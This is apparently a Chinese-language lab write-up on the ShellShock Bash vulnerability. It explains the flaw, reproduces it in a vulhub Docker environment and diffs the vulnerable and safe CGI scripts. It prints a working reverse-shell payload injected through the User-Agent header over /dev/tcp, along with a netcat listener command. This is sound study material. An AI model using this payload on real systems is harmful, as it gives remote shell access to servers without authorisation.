漏洞描述

ShellShock是一个BashShell漏洞,通常情况下系统内的Shell有严格权限控制,但GNU Bash4.3及之前版本存在安全漏洞,Bash运行过程中会调用操作系统的环境变量,攻击者可向环境变量值内的函数定义后添加多余字符串触发漏洞,通过改变或绕过环境限制来执行Shell命令。

Bash使用的环境变量通过函数名称进行调用,漏洞原因在于以(){开头定义的环境变量在命令ENV中解析为函数后,Bash执行并未退出,而是继续解析并执行Shell命令,攻击者可借此实现反弹Shell等行为。

漏洞的核心原因在于输入过滤中没有严格的限制边界,没有做合法化的参数判断。

影响版本

GNU Bash 4.3及之前版本。

漏洞复现

git clone https://github.com/vulhub/vulhub.git
cd vulhub/bash/shellshock
docker-compose up -d

环境启动后可尝试访问http://<ip>:<port>/victim.cgi查看是否启动成功。

攻击机监听端口:

nc -lvnp <port>

抓取当前页面的访问数据包,修改User-Agent构造一个反弹Shellpayload

User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1;

成功反弹Shell

漏洞分析

复现目录下存在safe.cgivictim.cgi两个cgi文件,我们使用diff命令看看两者的差异:

# 命令
diff safe.cgi victim.cgi

# 结果
1c1
< #!/bin/bash
---
> #!/usr/local/bash-4.3.0/bin/bash

# 输出信息讲解
1c1:表示第一个文件的第1行与第二个文件的第1行不匹配
<:表示第一个文件中的数据行
>:表示第二个文件中的数据行

可以发现两者Bash版本不同,而在访问http://<ip>:<port>/safe.cgi时,漏洞无法复现成功。

AwWza7

Web服务器通过环境变量获取浏览器参数,然后交给CGI程序,环境中的CGI程序是有漏洞版本的Bash生成的,因此在HTTP头部中注入的浏览器参数被Bash当作环境变量解析并执行了。

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。